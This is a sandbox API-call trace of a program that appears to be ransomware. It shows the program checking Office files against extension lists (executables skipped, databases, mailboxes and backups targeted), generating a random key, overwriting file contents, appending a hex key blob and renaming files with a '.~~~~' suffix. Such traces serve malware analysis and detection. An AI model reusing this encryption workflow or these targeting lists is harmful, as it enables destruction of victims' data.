	[0146.091] ReadFile (in: hFile=0x114, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x1f8fec0*=0x71, lpOverlapped=0x0) returned 1
	[0146.092] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffff8f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.092] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0x71, lpOverlapped=0x0) returned 1
	[0146.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0146.092] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.092] WriteFile (in: hFile=0x114, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0146.092] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0146.092] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0146.093] CloseHandle (hObject=0x114) returned 1
	[0146.093] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29b0bc8
	[0146.093] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_k_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_k_col.hxk.~~~~")) returned 1
	[0146.095] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b0bc8 | out: hHeap=0x300000) returned 1
	[0146.095] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0146.095] GetLastError () returned 0x0
	[0146.096] RtlWakeConditionVariable () returned 0x365f70
	[0146.096] GetCurrentThreadId () returned 0xaf0
	[0146.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".scr") returned 0x0
	[0146.096] lstrlenW (lpString=".cmd") returned 4
	[0146.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".cmd") returned 0x0
	[0146.096] lstrlenW (lpString=".dll") returned 4
	[0146.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".dll") returned 0x0
	[0146.096] lstrlenW (lpString=".bat") returned 4
	[0146.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".bat") returned 0x0
	[0146.096] lstrlenW (lpString=".cpl") returned 4
	[0146.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".cpl") returned 0x0
	[0146.096] lstrlenW (lpString=".sys") returned 4
	[0146.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".sys") returned 0x0
	[0146.096] lstrlenW (lpString=".msc") returned 4
	[0146.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".msc") returned 0x0
	[0146.096] lstrlenW (lpString=".com") returned 4
	[0146.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".com") returned 0x0
	[0146.096] lstrlenW (lpString=".lnk") returned 4
	[0146.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".lnk") returned 0x0
	[0146.096] lstrlenW (lpString=".msp") returned 4
	[0146.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".msp") returned 0x0
	[0146.096] lstrlenW (lpString=".pif") returned 4
	[0146.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".pif") returned 0x0
	[0146.096] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0146.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch="msp\r\n.pif") returned 0x0
	[0146.096] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\workflow.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0146.098] lstrlenW (lpString=".sqb") returned 4
	[0146.098] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".sqb") returned 0x0
	[0146.098] lstrlenW (lpString=".ost") returned 4
	[0146.098] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".ost") returned 0x0
	[0146.098] lstrlenW (lpString=".txt") returned 4
	[0146.098] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".txt") returned 0x0
	[0146.098] lstrlenW (lpString=".mdt") returned 4
	[0146.098] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".mdt") returned 0x0
	[0146.098] lstrlenW (lpString=".BDB") returned 4
	[0146.098] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".BDB") returned 0x0
	[0146.098] lstrlenW (lpString=".eql") returned 4
	[0146.098] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".eql") returned 0x0
	[0146.098] lstrlenW (lpString=".DBF") returned 4
	[0146.098] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".DBF") returned 0x0
	[0146.099] lstrlenW (lpString=".EQL") returned 4
	[0146.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".EQL") returned 0x0
	[0146.099] lstrlenW (lpString=".FDB") returned 4
	[0146.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".FDB") returned 0x0
	[0146.099] lstrlenW (lpString=".EDB") returned 4
	[0146.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".EDB") returned 0x0
	[0146.099] lstrlenW (lpString=".DACPAC") returned 7
	[0146.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".DACPAC") returned 0x0
	[0146.099] lstrlenW (lpString=".VHD") returned 4
	[0146.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".VHD") returned 0x0
	[0146.099] lstrlenW (lpString=".DBV") returned 4
	[0146.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".DBV") returned 0x0
	[0146.099] lstrlenW (lpString=".dacpac") returned 7
	[0146.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".dacpac") returned 0x0
	[0146.099] lstrlenW (lpString=".sdf") returned 4
	[0146.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".sdf") returned 0x0
	[0146.099] lstrlenW (lpString=".accdb") returned 6
	[0146.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".accdb") returned 0x0
	[0146.099] lstrlenW (lpString=".DBX") returned 4
	[0146.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".DBX") returned 0x0
	[0146.099] lstrlenW (lpString=".MDT") returned 4
	[0146.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".MDT") returned 0x0
	[0146.099] lstrlenW (lpString=".SQB") returned 4
	[0146.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".SQB") returned 0x0
	[0146.099] lstrlenW (lpString=".vhd") returned 4
	[0146.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".vhd") returned 0x0
	[0146.099] lstrlenW (lpString=".bac") returned 4
	[0146.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".bac") returned 0x0
	[0146.099] lstrlenW (lpString=".mdf") returned 4
	[0146.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".mdf") returned 0x0
	[0146.099] lstrlenW (lpString=".BAK") returned 4
	[0146.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".BAK") returned 0x0
	[0146.099] lstrlenW (lpString=".BAC") returned 4
	[0146.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".BAC") returned 0x0
	[0146.099] lstrlenW (lpString=".dbs") returned 4
	[0146.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".dbs") returned 0x0
	[0146.100] lstrlenW (lpString=".vhdx") returned 5
	[0146.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".vhdx") returned 0x0
	[0146.100] lstrlenW (lpString=".NDF") returned 4
	[0146.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".NDF") returned 0x0
	[0146.100] lstrlenW (lpString=".dat") returned 4
	[0146.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".dat") returned 0x0
	[0146.100] lstrlenW (lpString=".DBS") returned 4
	[0146.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".DBS") returned 0x0
	[0146.100] lstrlenW (lpString=".CKP") returned 4
	[0146.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".CKP") returned 0x0
	[0146.100] lstrlenW (lpString=".edb") returned 4
	[0146.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".edb") returned 0x0
	[0146.100] lstrlenW (lpString=".PST") returned 4
	[0146.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".PST") returned 0x0
	[0146.100] lstrlenW (lpString=".dbf") returned 4
	[0146.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".dbf") returned 0x0
	[0146.100] lstrlenW (lpString=".SQL") returned 4
	[0146.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".SQL") returned 0x0
	[0146.100] lstrlenW (lpString=".pst") returned 4
	[0146.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".pst") returned 0x0
	[0146.100] lstrlenW (lpString=".dbv") returned 4
	[0146.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".dbv") returned 0x0
	[0146.100] lstrlenW (lpString=".SDF") returned 4
	[0146.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".SDF") returned 0x0
	[0146.100] lstrlenW (lpString=".dtxs") returned 5
	[0146.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".dtxs") returned 0x0
	[0146.100] lstrlenW (lpString=".db3") returned 4
	[0146.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".db3") returned 0x0
	[0146.100] lstrlenW (lpString=".OST") returned 4
	[0146.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".OST") returned 0x0
	[0146.100] lstrlenW (lpString=".dbx") returned 4
	[0146.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".dbx") returned 0x0
	[0146.100] lstrlenW (lpString=".DB3") returned 4
	[0146.100] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".DB3") returned 0x0
	[0146.101] lstrlenW (lpString=".DAT") returned 4
	[0146.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".DAT") returned 0x0
	[0146.101] lstrlenW (lpString=".VHDX") returned 5
	[0146.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".VHDX") returned 0x0
	[0146.101] lstrlenW (lpString=".ndf") returned 4
	[0146.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".ndf") returned 0x0
	[0146.101] lstrlenW (lpString=".DB") returned 3
	[0146.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".DB") returned 0x0
	[0146.101] lstrlenW (lpString=".sql") returned 4
	[0146.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".sql") returned 0x0
	[0146.101] lstrlenW (lpString=".MYD") returned 4
	[0146.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".MYD") returned 0x0
	[0146.101] lstrlenW (lpString=".DBT") returned 4
	[0146.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".DBT") returned 0x0
	[0146.101] lstrlenW (lpString=".ACCDB") returned 6
	[0146.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".ACCDB") returned 0x0
	[0146.101] lstrlenW (lpString=".fdb") returned 4
	[0146.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".fdb") returned 0x0
	[0146.101] lstrlenW (lpString=".bak") returned 4
	[0146.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".bak") returned 0x0
	[0146.101] lstrlenW (lpString=".myd") returned 4
	[0146.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".myd") returned 0x0
	[0146.101] lstrlenW (lpString=".DTXS") returned 5
	[0146.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".DTXS") returned 0x0
	[0146.101] lstrlenW (lpString=".ckp") returned 4
	[0146.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".ckp") returned 0x0
	[0146.101] lstrlenW (lpString=".dbt") returned 4
	[0146.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".dbt") returned 0x0
	[0146.101] lstrlenW (lpString=".db") returned 3
	[0146.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".db") returned 0x0
	[0146.101] lstrlenW (lpString=".TXT") returned 4
	[0146.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".TXT") returned 0x0
	[0146.102] lstrlenW (lpString=".MDF") returned 4
	[0146.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".MDF") returned 0x0
	[0146.102] lstrlenW (lpString=".bdb") returned 4
	[0146.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".bdb") returned 0x0
	[0146.102] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0146.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0146.102] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0146.102] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0146.102] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3956b8) returned 1
	[0146.168] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0146.168] CryptReleaseContext (hProv=0x3956b8, dwFlags=0x0) returned 1
	[0146.169] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0146.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0146.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0146.169] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26615890505) returned 1
	[0146.169] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xc087eeb0, dwHighDateTime=0x1d60e1e)) 
	[0146.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0146.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0146.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0146.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2058
	[0146.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0146.169] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2058 | out: hHeap=0x300000) returned 1
	[0146.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0146.169] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0146.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28acda0
	[0146.170] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0146.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c7848
	[0146.170] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acda0 | out: hHeap=0x300000) returned 1
	[0146.170] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0146.170] GetLastError () returned 0x0
	[0146.170] GetLastError () returned 0x0
	[0146.170] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0146.170] GetLastError () returned 0x0
	[0146.171] GetLastError () returned 0x0
	[0146.171] ReadFile (in: hFile=0x114, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x1f8fec0*=0xa560, lpOverlapped=0x0) returned 1
	[0146.173] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffff5aa0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.173] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0xa560, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0xa560, lpOverlapped=0x0) returned 1
	[0146.219] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0146.219] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.219] WriteFile (in: hFile=0x114, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0146.219] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0146.219] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0146.219] CloseHandle (hObject=0x114) returned 1
	[0146.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870430
	[0146.220] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\workflow.vsl"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\workflow.vsl.~~~~")) returned 1
	[0146.277] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2870430 | out: hHeap=0x300000) returned 1
	[0146.277] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0146.278] GetLastError () returned 0x0
	[0146.278] RtlWakeConditionVariable () returned 0x365f70
	[0146.278] GetCurrentThreadId () returned 0xaf0
	[0146.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".scr") returned 0x0
	[0146.278] lstrlenW (lpString=".cmd") returned 4
	[0146.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".cmd") returned 0x0
	[0146.278] lstrlenW (lpString=".dll") returned 4
	[0146.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".dll") returned 0x0
	[0146.278] lstrlenW (lpString=".bat") returned 4
	[0146.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".bat") returned 0x0
	[0146.278] lstrlenW (lpString=".cpl") returned 4
	[0146.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".cpl") returned 0x0
	[0146.278] lstrlenW (lpString=".sys") returned 4
	[0146.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".sys") returned 0x0
	[0146.279] lstrlenW (lpString=".msc") returned 4
	[0146.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".msc") returned 0x0
	[0146.279] lstrlenW (lpString=".com") returned 4
	[0146.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".com") returned 0x0
	[0146.279] lstrlenW (lpString=".lnk") returned 4
	[0146.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".lnk") returned 0x0
	[0146.279] lstrlenW (lpString=".msp") returned 4
	[0146.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".msp") returned 0x0
	[0146.279] lstrlenW (lpString=".pif") returned 4
	[0146.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".pif") returned 0x0
	[0146.279] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0146.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch="msp\r\n.pif") returned 0x0
